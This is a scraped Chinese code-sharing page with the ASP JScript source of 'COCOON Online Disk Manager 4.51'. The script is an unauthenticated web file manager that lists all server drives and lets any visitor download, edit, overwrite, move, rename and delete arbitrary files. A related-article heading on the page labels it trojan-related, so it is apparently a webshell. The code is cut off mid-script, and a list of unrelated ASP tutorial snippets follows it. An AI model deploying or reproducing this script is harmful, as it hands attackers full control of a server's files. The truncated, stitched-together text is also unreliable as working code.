复制代码 代码如下:
<%@LANGUAGE="JScript" CODEPAGE="936"%><%var sSelfPath = Server.MapPath(Request.ServerVariables("SCRIPT_NAME")(1)).toLowerCase();var sUrl = Request.ServerVariables("URL")(1);var sAction = Request("a")+"";var sTarget = (Request("t")+"").toLowerCase();var sShowSmall = Request("s")+"";var CURRENT_DIRECTORY = Request.Cookies("Cc_Dm_CurrentFolder") + "";if(!isNaN(sShowSmall)){Response.Cookies("CC_Dm_ShowSmall")=sShowSmall;sQueryString = "";var e = new Enumerator(Request.QueryString);for (; !e.atEnd(); e.moveNext()){var x = e.item();if(x!="s"){sQueryString += x + "=" + Request.QueryString(x) + "&";};};Response.Redirect(sUrl+"?"+sQueryString);};sShowSmall = Request.Cookies("CC_Dm_ShowSmall");if(isNaN(parseInt(sShowSmall))) sShowSmall="0";function ShowError(e){Response.write("<script language=javascript>alert('COCOON Online Disk Manager 4.51 \\r\\n"+ " Created by: COCOON Studio (www.ccopus.com)\\r\\n"+ " Coding by: Sunrise_Chen (sunrise_chen@msn.com)\\r\\n"+ "提示信息: \\r\\n\\r\\n "+ Str4Js(e.description) + "');history.back();window.close();<\/script>");Response.end();};function Str4Js(s){return (s+'').replace(/\\/g,"\\\\").replace(/\'/g,"'").replace(/\"/g,""");};function Cc_DiskManager(){try{this.fso = new ActiveXObject("Scripting.FileSystemObject");};catch(e){ShowError(e);};function FormatDateTime(dtDateTime){return new Date(dtDateTime).toLocaleString();};function GetTypeName(s){switch(s){case 0 : return "Unknown";case 1 : return "3.5 软盘";case 2 : return "本地硬盘";case 3 : return "Network";case 4 : return "CD 驱动器";case 5 : return "RamDisk";};};function GetAttribute(nAttrib,b){var a = new Array();if(nAttrib & 128) a[a.length] = (b?"C":"压缩");if(nAttrib & 64) a[a.length] = (b?"":"快捷方式");if(nAttrib & 32) a[a.length] = (b?"A":"归档");if(nAttrib & 16) a[a.length] = (b?"":"文件夹");if(nAttrib & 8) a[a.length] = (b?"":"卷标");if(nAttrib & 4) a[a.length] = (b?"S":"系统");if(nAttrib & 2) a[a.length] = (b?"H":"隐藏");if(nAttrib & 1) a[a.length] = (b?"R":"只读");if(nAttrib & 2048) a[a.length] = (b?"C":"压缩");return a.join((b?"":", "));};function GetIconByType_Driver(n){/*取得指定驱动器类型的图标*/switch(n){case 0 : return "<font face='wingdings' class='ItemIconStyle'>=</font>";case 1 : return "<font face='wingdings' class='ItemIconStyle'><</font>";case 2 : return "<font face='wingdings' class='ItemIconStyle'>;</font>";case 3 : return "<font face='wingdings' class='ItemIconStyle'>=</font>";case 4 : return "<font face='wingdings' class='ItemIconStyle'>></font>";case 5 : return "<font face='wingdings' class='ItemIconStyle'>=</font>";};};function GetIconByType_File(sFileName){var r = "." + sFileName;switch(r.substr(r.lastIndexOf(".")+1).toLowerCase()){case "txt" :return "<font face='wingdings' class='ItemIconStyle'>2</font>";case "exe": case "com": case "pif": case "bat":return "<font face='wingdings' class='ItemIconStyle'>ÿ</font>";case "jpg": case "gif": case "bmp": case "tiff": case "jpeg": case "tif" : case "png" :return "<font face='webdings' class='ItemIconStyle'></font>";case "mp3": case "wav": case"mid" :return "<font face='webdings' class='ItemIconStyle'>¯</font>";default :return "<font face='wingdings 2' class='ItemIconStyle'>/</font>";};};function FormatSize(nSize){if(nSize/Math.pow(1024,3)>0.9) return Math.round(nSize/Math.pow(1024,3)*100)/100 + " GB";else if(nSize/Math.pow(1024,2)>0.9) return Math.round(nSize/Math.pow(1024,2)*100)/100 + " MB";else if(nSize/1024>0.9) return Math.round(nSize/1024*100)/100 + " KB";else return "1 KB";/*nSize + " Bytes"*/};this.GetDriverList = function(){/*返回驱动器列表的数组*/var fso = this.fso;var a = new Array();var e = new Enumerator(fso.Drives);a[a.length] = new Array(bIsReady/*是否就绪*/, "<font face='wingdings' class='ItemIconStyle'>y</font>", "<nobr>[Home]</nobr> <nobr>CCDM 4.51</nobr>", "", Server.MapPath("."), 20, "", "", "", "","COCOON Online Disk Manager 4.51.4714", "Producted by Cocoon Studio (www.ccopus.com)", "Coding by Sunrise_Chen");for (; !e.atEnd(); e.moveNext()){var bIsReady = false;var x = e.item();try{bIsReady = x.isReady;};catch(e){bIsReady = false;};if(bIsReady){a[a.length] = new Array(bIsReady/*是否就绪*/, GetIconByType_Driver(x.DriveType)/*图标,用于显示*/, "<nobr>" + GetTypeName(x.DriveType) + "</nobr> <nobr>(" + x.DriveLetter + ":)</nobr>"/*名称,用于显示*/, GetTypeName(x.DriveType) + "(" + x.DriveLetter + ")", x.RootFolder/*根目录*/, 16/**/, GetTypeName(x.DriveType), "<div align=right>" + FormatSize(x.TotalSize) + "</div>", "<div align=right>" + FormatSize(x.AvailableSpace) + "</div>", "", "路径: " + x.RootFolder, "类型: " + GetTypeName(x.DriveType), "文件系统: " + x.FileSystem, "卷标: " + x.VolumeName, "总容量: " + FormatSize(x.TotalSize), "剩余容量: " + FormatSize(x.AvailableSpace));};else{a[a.length] = new Array(bIsReady, GetIconByType_Driver(x.DriveType), "<nobr>" + GetTypeName(x.DriveType) + "</nobr> <nobr>(" + x.DriveLetter + ":)</nobr>", GetTypeName(x.DriveType) + "(" + x.DriveLetter + ")", x.DriveLetter + ":\\", -1, GetTypeName(x.DriveType), "", "", "", "路径: " + x.DriveLetter + ":\\", "类型: " + GetTypeName(x.DriveType));};};return a;};/*function GetDriverList;*/this.CurrentFolder = null;this.GetFolderInfo = function(sFolderSpec){if(this.CurrentFolder) return this.CurrentFolder;var fso = this.fso;var a = new Array();try{var x = fso.GetFolder(sFolderSpec);};catch(e){ShowError(e);};a[a.length] = new Array(true, "<font face='wingdings' class='ItemIconStyle'>0</font>", "<span class='ItemTitle'><nobr>" + x.name + "</nobr></span>", x.Name, x.Path, x.Attributes, "路径: \"" + x.Path + "\"", "属性: " + GetAttribute(x.Attributes));if(!x.isRootFolder){a[a.length-1]=(new Array).concat(a[a.length-1],Array("创建时间: " + FormatDateTime(x.DateCreated), "修改时间: " + FormatDateTime(x.DateLastModified), "访问时间: " + FormatDateTime(x.DateLastAccessed)))};try{a[a.length-1]=(new Array).concat(a[a.length-1],Array("", "目录数: " + x.subfolders.count + " ", "文件数: " + x.files.count + " "))};catch(e){a[a.length-1]=(new Array).concat(a[a.length-1],Array("", "<span class=error>错误: 没有权限</span>"))};this.CurrentFolder = a;return a;};this.GetFolderList = function(sFolderSpec){var fso = this.fso;var a = new Array();var folder = fso.GetFolder(sFolderSpec);var e = new Enumerator(folder.SubFolders);if(!folder.isRootFolder){a[a.length] = new Array(true, "<font face='wingdings 3' class='ItemIconStyle'>Í</font>", "<span class='ItemTitle'><nobr>..</nobr></span>", "",folder.ParentFolder,folder.ParentFolder.attributes,"","","","");};else{a[a.length] = new Array(true, "<font face='wingdings' class='ItemIconStyle'>:</font>", "<span class='ItemTitle'>..</span>", "","","","","","","");};for (; !e.atEnd(); e.moveNext()){var x = e.item();a[a.length] = new Array(true, "<font face='wingdings' class='ItemIconStyle'>0</font>", "<span class='ItemTitle'><nobr>" + x.name + "</nobr></span>", x.Name, x.Path, x.Attributes, "", x.Type, FormatDateTime(x.DateLastModified), GetAttribute(x.Attributes, true), "路径: \"" + x.Path + "\"", "属性: " + GetAttribute(x.Attributes), "创建时间: " + FormatDateTime(x.DateCreated), "修改时间: " + FormatDateTime(x.DateLastModified), "访问时间: " + FormatDateTime(x.DateLastAccessed));};var folder = fso.GetFolder(sFolderSpec);var e = new Enumerator(folder.Files);for (; !e.atEnd(); e.moveNext()){var x = e.item();a[a.length] = new Array(true, GetIconByType_File(x.name), "<span class='ItemTitle'><nobr>" + x.name + "</nobr></span>", x.Name, x.Path, x.Attributes, FormatSize(x.size), x.Type, FormatDateTime(x.DateLastModified), GetAttribute(x.Attributes, true), "路径: \"" + x.Path + "\"", "类型: " + x.Type, "大小: " + FormatSize(x.size), "属性: " + GetAttribute(x.Attributes), "创建时间: " + FormatDateTime(x.DateCreated), "修改时间: " + FormatDateTime(x.DateLastModified), "访问时间: " + FormatDateTime(x.DateLastAccessed));};return a;};this.DownloadFile = function(sTarget){try{var fso = this.fso;var file = fso.GetFile(sTarget);var sFileName = file.name;var sFileSize = file.size;fso = null;var st = new ActiveXObject("ADODB.Stream");with(st) { mode=3; type=1; open(); loadFromFile(sTarget); };Response.addHeader("Content-Disposition", "attachment; filename=" + sFileName);Response.addHeader("Content-Length", sFileSize);Response.charSet = "UTF-8";Response.contentType = "application/octet-stream";Response.binaryWrite(st.read());st.close();st = null;};catch(e){ShowError(e);};Response.end();};this.ReadFile = function(sTarget){try{var sBody = "";var st = new ActiveXObject("ADODB.Stream");with(st) { charset="gb2312"; open(); loadFromFile(sTarget); sBody=st.readText(); close(); };st = null;return sBody;};catch(e){ShowError(e);Response.write("<script>window.close();<\/script>");};};this.WriteFile = function(sTarget,sContent){try{var fso = this.fso;var file = fso.CreateTextFile(sTarget, true);file.write(sContent);file.close();file = fso = null;Response.write("<script>alert(\"保存成功\")<\/script>");};catch(e){ShowError(e);Response.end();};};this.CheckFolderExist = function(sTarget){try{return this.fso.FolderExists(sTarget);};catch(e){return false;};};this.CopyFile = function(s,d,b){d = d + "\\";Response.write("\"" + s + "\" --> " + d + " ... ");var fso = this.fso;try{if(fso.FileExists(s))if(b) fso.MoveFile(s,d); else fso.CopyFile(s,d,true);else if(fso.FolderExists(s))if(b) fso.MoveFolder(s,d); else fso.CopyFolder(s,d,true);Response.write("[<font color=green>成功</font>]");};catch(e){Response.write("[<font color=red>失败</font>]\r\n" + e.message);};Response.write("<br>\r\n");Response.Flush();};this.DeleteFile = function(s){Response.write("删除 \"" + s + "\" --> ... ");var fso = this.fso;try{if(fso.FileExists(s)) fso.DeleteFile(s);else if(fso.FolderExists(s)) fso.DeleteFolder(s);Response.write("[<font color=green>成功</font>]");};catch(e){Response.write("[<font color=red>失败</font>]\r\n" + e.message);};Response.write("<br>\r\n");Response.Flush();};this.Rename = function(s,d){Response.write("\"" + s + "\" --> \"" + d + "\" ... ");var fso = this.fso;try{if(fso.FileExists(s)) fso.GetFile(s).Name = d;if(fso.FolderExists(s)) fso.GetFolder(s).Name = d;Response.write("[<font color=green>成功</font>]");};catch(e){Response.write("[<font color=red>失败</font>]\r\n" + e.message);};Response.write("<br>\r\n");Response.Flush();};this.NewDir = function(f,n){Response.write('新建文件夹: "' + n + '" ... ');var fso = this.fso;try{fso.CreateFolder(f+'\\'+n);Response.write("[<font color=green>成功</font>]");};catch(e){Response.write("[<font color=red>失败</font>]\r\n" + e.message);};};this.NewTextFile = function(f,n){Response.write('新建文本文件: "' + n + '" ... ');var fso = this.fso;try{fso.CreateTextFile(f+'\\'+n);Response.write("[<font color=green>成功</font>]");};catch(e){Response.write("[<font color=red>失败</font>]\r\n" + e.message);};};};function Cc_Dm4() {};Cc_Dm4.ShowItem = function(aItemList){for(var i=0;i<aItemList.length;++i){Response.Write("<span id='span_item' class='ItemStyle'");Response.Write("Cc_FileName='" + aItemList[i][3] + "'" + " Cc_FilePath='" + aItemList[i][4] + "'"+ " Cc_FileType='" + aItemList[i][5] + "'"+ " onclick='domenu(this," + i + ")' ondblclick='doExec(this)'"+ " title='");for(var j=10;j<aItemList[i].length;++j){Response.Write(" " + aItemList[i][j]);};Response.Write("'>" + "<span class='detail0' id='icon_item'>"+ "" + aItemList[i][1]+ " " + aItemList[i][2] + "</span>"+ "<span class='detail1'>" + aItemList[i][6] + "</span>"+ "<span class='detail2'>" + aItemList[i][7] + "</span>"+ "<span class='detail3'>" + aItemList[i][8] + "</span>"+ "<span class='detail4'>" + aItemList[i][9] + "</span>"+ "</span>");};};Cc_Dm4.ShowCurrentFolder = function(sTarget){if(sAction!="f") return;var oDm = new Cc_DiskManager;var aItemList = oDm.GetFolderInfo(sTarget);var i = 0;Response.write("" + aItemList[i][1] + "<b>" + aItemList[i][2] + "</b>");Response.Write("<pre>");for(var j=6;j<aItemList[i].length;++j){Response.Write("\r\n" + aItemList[i][j]);};Response.Write("</pre>" + "\r\n\r\n");};Cc_Dm4.ShowDriverList = function(){var oDm = new Cc_DiskManager;var aDriverList = oDm.GetDriverList();this.ShowItem(aDriverList);};Cc_Dm4.ShowFolderList = function(sTarget){var oDm = new Cc_DiskManager;var aFolderList = oDm.GetFolderList(sTarget);this.ShowItem(aFolderList);};Cc_Dm4.DownloadFile = function(sTarget){var oDm = new Cc_DiskManager;oDm.DownloadFile(sTarget);};Cc_Dm4.HtmlHead = ""+ "<html><head><title>COCOON Online DiskManager 4.51 - Cocoon Studio (www.ccopus.com)</title>"+ "<meta http-equiv='Content-Type' content='text/html; charset=gb2312'>" + "<style>" + "form{margin:0;font-size:9pt;}; "+ "textarea{font-family:Tahoma;font-size:9pt; padding:5px;};"+ "body{margin:2;border:none;overflow:hidden;background-color:buttonface}; "+ "fieldset{margin:2px;font-size:9pt;height:76px;overflow:auto;}; "+ "input{font-family:Tahoma;font-size:9pt;};"+ "pre{margin:0};"+ ".banner{margin-top:8px;margin-right:10px;text-align:right;font-family:Tahoma;font-weight:bold};"+ "</style>"+ "</head>"+ "<body>";Cc_Dm4.HtmlFoot = "</body></html>";Cc_Dm4.EditFile = function(sTarget){var oDm = new Cc_DiskManager;var sBody = oDm.ReadFile(sTarget);Response.write( this.HtmlHead+ "<form style='width:100%;height:100%;' method='post' action='" + sUrl + "'>"+ "<textarea name=fileContent style='width:100%;height:90%;'>" + Server.HTMLEncode(sBody) + "</textarea><br>"+ "<div style='padding-top:5px'> 文件路径:<input type='text' name=t value='" + sTarget + "' readonly style='overflow:visible;'>"+ "<input type='hidden' name=a value=s> "+ "<input type=checkbox name=ColseWindow id=chk_closewindow value=close><label for=chk_closewindow checked>保存完毕关闭窗口</label> "+ "<input type='submit' name=btnSubmit value='保存' style='width:75px;' onclick=\"form.a.value='s'\">"+ "<input type='reset' name=btnReset value='恢复' style='width:75px;'>"+ "<input type='button' name=btnReset value='清空' style='width:75px;' onclick=\"form.fileContent.value=''\">"+ "<input type='button' name=btnReset value='关闭' style='width:75px;' onclick=\"window.close();\">"+ "</div><div class=banner>COCOON Online Text Editor 1.0 for Cocoon Disk Manager 4.51</div></form>" + this.HtmlFoot);Response.End();};Cc_Dm4.SelectItem = function(){try{var sAction = Request.Form("Action")(1);switch(sAction){case "copy":case "cut":var sItems = Request.Form("Item")(1);Response.Cookies("Cc_Dm_SelectedItem") = sItems;Response.Cookies("Cc_Dm_Action") = sAction;Response.write(this.HtmlHead+ "<fieldset><div style='margin:5;'><pre>" + sItems + "</pre></div></fieldset>"+ "<input type='button' value='"+(sAction=="copy"?"复制":"剪切")+"完成' "+ "style='width:100%;' onclick='window.close();'>"+ this.HtmlFoot);break;case "paste":sAction = Request.Cookies("Cc_Dm_Action")+"";var oDm = new Cc_DiskManager;var sFolder = CURRENT_DIRECTORY;Response.write( this.HtmlHead + "<fieldset><div style='margin:5;'>" );if(!oDm.CheckFolderExist(sFolder)){Response.write("目标文件夹不正确 " + sFolder);};else{var aItems = (Request.Cookies("Cc_Dm_SelectedItem")+'').split("\r\n");for(var i=0;i<aItems.length;++i) oDm.CopyFile(aItems[i],sFolder, sAction=="cut");};Response.write( "</div></fieldset>"+ "<input type='button' value='粘贴完成, 请刷新主窗口' style='width:100%;' onclick='window.close();'>"+ this.HtmlFoot);case "delete":var sItems = Request.Form("Item")(1);var oDm = new Cc_DiskManager;Response.write( this.HtmlHead + "<fieldset><div style='margin:5;'>" );var aItems = sItems.split("\r\n");for(var i=0;i<aItems.length;++i) oDm.DeleteFile(aItems[i]);Response.write( "</div></fieldset>"+ "<input type='button' value='删除完成, 请刷新主窗口' style='width:100%;' onclick='window.close();'>"+ this.HtmlFoot);};};catch(e){ShowError(e);Response.write("<script>window.close();<\/script>");};Response.End();};Cc_Dm4.SaveFile = function(sTarget){var oDm = new Cc_DiskManager;oDm.WriteFile(sTarget,Request.Form("fileContent")+"");if(Request.Form("colsewindow")+""!="close"){var sRefUrl = Request.ServerVariables("HTTP_REFERER");if(sRefUrl){Response.write("<script>location.href='" + Str4Js(sRefUrl) + "';</script>");Response.end();};};Response.write("<script>window.close();<\/script>");Response.End();};Cc_Dm4.ShowFile = function(sTarget){var st = new ActiveXObject("ADODB.Stream");with(st) { mode=3; type=1; open(); loadFromFile(sTarget); Response.binaryWrite(read()); close(); };delete st;Response.end();};Cc_Dm4.NewDir = function(sTarget){var oDm = new Cc_DiskManager;var sFolder = CURRENT_DIRECTORY;Response.write( this.HtmlHead + "<fieldset><div style='margin:5;'>" );var sItem = Request.Form("value")(1);oDm.NewDir(sFolder, sItem);Response.write( "</div></fieldset>"+ "<input type='button' value='新建完成, 请刷新主窗口' style='width:100%;' onclick='window.close();'>"+ this.HtmlFoot);Response.end();};Cc_Dm4.NewTextFile = function(sTarget){var oDm = new Cc_DiskManager;var sFolder = CURRENT_DIRECTORY;Response.write( this.HtmlHead + "<fieldset><div style='margin:5;'>" );var sItem = Request.Form("value")(1);oDm.NewTextFile(sFolder, sItem);Response.write( "</div></fieldset>"+ "<input type='button' value='新建完成, 请刷新主窗口' style='width:100%;' onclick='window.close();'>"+ this.HtmlFoot);Response.end();};Cc_Dm4.Rename = function(){try{var sItems = Request.Form("Item")(1);var sValue = Request.Form("Value")(1);var aItems = sItems.split("\r\n");var oDm = new Cc_DiskManager;Response.write( this.HtmlHead + "<fieldset><div style='margin:5;'>" );for(var i=0;i<aItems.length;++i){if(!i) var NewFileName = sValue.replace(/\(\*\)/g,"");else var NewFileName = sValue.replace(/\(\*\)/g,i+1);oDm.Rename(aItems[i],NewFileName);};Response.write( "</div></fieldset>"+ "<input type='button' value='更名完成, 请刷新主窗口' style='width:100%;' onclick='window.close();'>"+ this.HtmlFoot);};catch(e){ShowError(e);Response.write("<script>window.close();<\/script>");};Response.end();};/* }; End Of CcDm4 */if(sTarget==sSelfPath){ShowError(new Error(0, "不准碰我!!! >:-<"));};switch(sAction){/*一些需要事先执行的东西!*/case "d" :Cc_Dm4.DownloadFile(sTarget);break;case "h" : Cc_Dm4.ShowFile(sTarget);break;case "e" : Cc_Dm4.EditFile(sTarget);break;case "s" : Cc_Dm4.SaveFile(sTarget);break;case "a" : Cc_Dm4.SelectItem();break;case "r" : Cc_Dm4.Rename();break;case "nd" :Cc_Dm4.NewDir(sTarget);break;case "ntf" :Cc_Dm4.NewTextFile(sTarget);break;case "f" :Response.Cookies("Cc_Dm_CurrentFolder") = sTarget;break;};%><html><head><title>COCOON Online Disk Manager 4.51</title><meta http-equiv="Content-Type" content="text/html; charset=gb2312"><STYLE>a { color: black; };body,td { font-size: 9pt; font-family: Tahoma; cursor: default; margin:0; overflow: hidden; text-align: left; };form { margin: 0 };input,textarea { font-family: Tahoma; font-size:9pt; inputarea:expression(onselectstart=new Function("event.cancelBubble=true;")); };.panelLeft { width: 22%; vertical-align: top; text-overflow: ellipsis; overflow: hidden; text-align: left;propertyarea:expression(onclick=new Function("event.cancelBubble=true;"));};.panelInnerHead { width:100%; margin: 10px 10px 0px 10px; padding: 5px; overflow: hidden; text-overflow: ellipsis; background-color: #eeeeee;};.panelInner { width:100%; margin: 0px 10px 0px 10px; padding: 5px; overflow: hidden; text-overflow: ellipsis; border:1px solid #eeeeee;};.divMenu { position:absolute; border: 1px solid black; padding: 5px; };.Error { color: red; };#chk_item {display:none;};.ItemStyle{background-color:white;color:black;};.ItemStyleSelected{background-color:gray;color:white;};.popDivTitle { background-color:gray;color:white;width:30px;height:16px;text-align:center; };.popDiv { border:1px solid gray; padding:1pt; background-color: white; };.leftLink{ height: 16px;padding-right: 1px; };.leftLinkItemOver { background-color: gray;color: white; cursor: hand; padding: 2px; };.leftLinkItem{ background-color: white;color: black; cursor: hand; padding: 2px; };</STYLE><STYLE id="view_2" <%=(sShowSmall=="2"?"":"disabled")%>>/*详细样式*/.ItemStyle { width: 100%; height: 18px; text-align: left; margin: 1px; border: 1px sloid white; white-space: nowrap;};.ItemStyleSelected { width: 100%; height: 18px; text-align: left; margin: 1px; border: 1px sloid white; white-space: nowrap;};.ItemIconStyle { font-size: 12pt; vertical-align: baseline; width: 16px; };.ItemTitle { text-overflow: ellipsis; overflow: hidden; width: 90%; text-align: left; };.detail0 { width: 35%; };.detail1 { text-align: right; width: 9%; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; padding-left:0pt; };.detail2 { text-align: left; width: 24%; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; padding-left:10pt; };.detail3 { text-align: left; width: 24%; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; padding-left:0pt; };.detail4 { text-align: left; width: 5%; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; padding-left:5pt; };</STYLE><STYLE id="view_1" <%=(sShowSmall=="1"?"":"disabled")%>>/*列表样式*/.ItemStyle { width: 240px; height: 18px; text-align: left; margin: 1px; border: 1px sloid white; };.ItemStyleSelected { width: 240px; height: 18px; text-align: left; margin: 1px; border: 1px sloid white; };.ItemIconStyle { font-size: 12pt; vertical-align: baseline; width: 16px; };.ItemTitle { text-overflow: ellipsis; overflow: hidden; width: 85%; text-align: left; };.detail0 { };.detail1, .detail2, .detail3, .detail4 { display: none; };</STYLE><STYLE id="view_0" <%=(sShowSmall=="0"?"":"disabled")%>>/*图标样式*/.ItemStyle { width: 65px; height: 50px; text-align: center; margin: 5px; padding: 3px; border: 1px sloid white; };.ItemStyleSelected { width: 65px; height: 50px; text-align: center; margin: 5px; padding: 3px; border: 1px sloid white; };.ItemIconStyle { font-size: 28pt; vertical-align: baseline; };.ItemTitle { text-overflow: ellipsis; overflow: hidden; width: 100%; };.detail0 { };.detail1, .detail2, .detail3, .detail4 { display: none; };</STYLE><script language="javascript">var oDocument = document;var sUrl = "<%=sUrl%>";SelectedItem = SpanItem = IconItem = PanelInner = PanelTemplet = new Object();InitComplete = false;oDocument.onselectstart = new Function("event.returnValue = false;");oDocument.onclick = new Function("clearSelect();");window.onload = function init(){SpanItem = oDocument.getElementsByName("span_item");IconItem = oDocument.getElementsByName("icon_item");PanelInner = oDocument.getElementById("PanelInner");PanelTemplet = oDocument.getElementById("PanelTemplet");};oDocument.onkeydown = function selectAll(){if((event.keyCode==97||event.keyCode==65)&&event.ctrlKey){clearSelect(true);var b = oDocument.getElementsByName("span_item");for(var i=1;i<IconItem.length;++i) ItemSelect(b[i],i);PanelInner.innerHTML = "已选定 " + (i-1) + " 个对象。";};};function getFirstSelectedItem(){var m = Number.POSITIVE_INFINITY;for(var x in SelectedItem) if(parseInt(x)<
asp javascript在线管理
时间: 2024-09-22 03:56:59
asp javascript在线管理的相关文章
asp javascript在线管理_木马相关
复制代码 代码如下: <%@LANGUAGE="JScript" CODEPAGE="936"%><%var sSelfPath = Server.MapPath(Request.ServerVariables("SCRIPT_NAME")(1)).toLowerCase();var sUrl = Request.ServerVariables("URL")(1);var sAction = Request(
asp+fso在线管理图片功能[原创]_应用技巧
复制代码 代码如下: <% '--------------------------------------------- '##############20060528新增加了对端口的支持 '作者:dxy QQ:461478385 Email:douxy001@gmail.com '功能完善 %> <!--#include file="global.asp"--> <!--#include file="session.asp"-->
asp+fso在线管理图片功能 原创
复制代码 代码如下: <% '--------------------------------------------- '##############20060528新增加了对端口的支持 '作者:dxy QQ:461478385 Email:douxy001@gmail.com '功能完善 %> <!--#include file="global.asp"--> <!--#include file="session.asp"-->
ASP进阶之文章在线管理更新(10)
前面讲述了关于文章管理系统的密码及密码验证,通过密码验证可以限制一般浏览者所能进入的页面,这里所要限制的就是普通用户所不能进入的页面,也就是包括管理页面.删除文章页面.修改文章页面以及修改用户信息和修改栏目信息的页面.其实这里的主管理页面就是和文章管理系统的主页面类似的页面,只是在里面添加了一些有关管理内容的连接,以方便管理者对文章进行在线的修改删除等操作. 下面就为大家介绍这一页面的主要程序内容,由于它和文章管理的主页面差不多,所以这里只是把其程序写出来,并注明和主页面不同的地方,其他相
ASP进阶之文章在线管理更新(九)
在线 ASP进阶之文章在线管理更新--管理页面篇 作者:沙滩小子 前面讲述了关于文章管理系统的密码及密码验证,通过密码验证可以限制一般浏览者所能进入的页面,这里所要限制的就是普通用户所不能进入的页面,也就是包括管理页面.删除文章页面.修改文章页面以及修改用户信息和修改栏目信息的页面.其实这里的主管理页面就是和文章管理系统的主页面类似的页面,只是在里面添加了一些有关管理内容的连接,以方便管理者对文章进行在线的修改删除等操作. 下面就为大家介绍这一页面的主要程序内容,由于它和文章管理的主页面差不多,
ASP进阶之文章在线管理更新(五)
在线 ASP进阶之文章在线管理更新--文章显示篇 作者:沙滩小子 前面已经为大家介绍了文章的添加保存,接下来就应该讲讲文章的显示了.在这里,你更加可以看出ASP的简单易用性,仅仅是通过一个文件,就可以对数据库内的所有文章进行显示.它主要是通过从连接返回的文章号(articleid)和栏目的信息(typeid)来打开数据库中指定的记录以及指定显示所需要的内容. 以下是文章显示页面(list.asp)的详细代码以及注解: "打开数据库连接<!--#include file="conn
ASP进阶之文章在线管理更新(七)
在线 ASP进阶之文章在线管理更新--主页面及搜索篇 作者:沙滩小子 经过了文章的添加.保存.显示,那么现在应该来谈谈关于管理程序的显示主页面,也就是显示所有文章的标题连接,以方便浏览者查找文章,其应该具有的功能有:显示所有文章的标题连接,加入日期,浏览次数等信息,另外还必须提供分页功能,要不然这么多的文章标题在一个页面都显示出来,那将非常的费时且不便浏览,另外由于本程序在这里结合了文章分栏目搜索的功能,所以在这里也将一起介绍了. 下面就为大家详细的介绍主页面index.asp的这些功能的实现过
ASP进阶之文章在线管理更新(十)
在线 ASP进阶之文章在线管理更新--文章删除篇 作者:沙滩小子 上一节我们介绍了文章管理的主页面,而这里的主页面只是显示了相关的连接而已,要是没有相关的程序来执行,那么也只是空连接而已,并不会显示出它的具体功用,而文章的在线删除是本系统不可缺少的一部分,虽然它的程序很简单,但是还是有必要为大家介绍一下. 在ASP中,对数据库的操作有更新(update).删除(delete)等操作,在本系统中对文章的删除就是利用了DELETE来进行文章的删除操作的,下面就为大家介绍本删除程序(delete.as
ASP进阶之文章在线管理更新(八)
在线 ASP进阶之文章在线管理更新--管理者登陆及验证篇 作者:沙滩小子 前面已经介绍了文章管理系统的前台程序,其前台程序主要就是提供给大家浏览的页面,主要是文章浏览.文章搜索.转发EMAIL等程序,其实开始介绍的文章添加和保存实际上是本系统的后台程序,但是文章的显示的具体内容是和文章的搜集.添加.保存是分不开的,要不然何来文章显示?我们现在开始介绍的文章管理系统的后台程序将具有以下功能:管理员登陆验证.文章在线添加(前面已经介绍过).文章在线修改删除.管理员密码修改.文章栏目修改添加及删除等主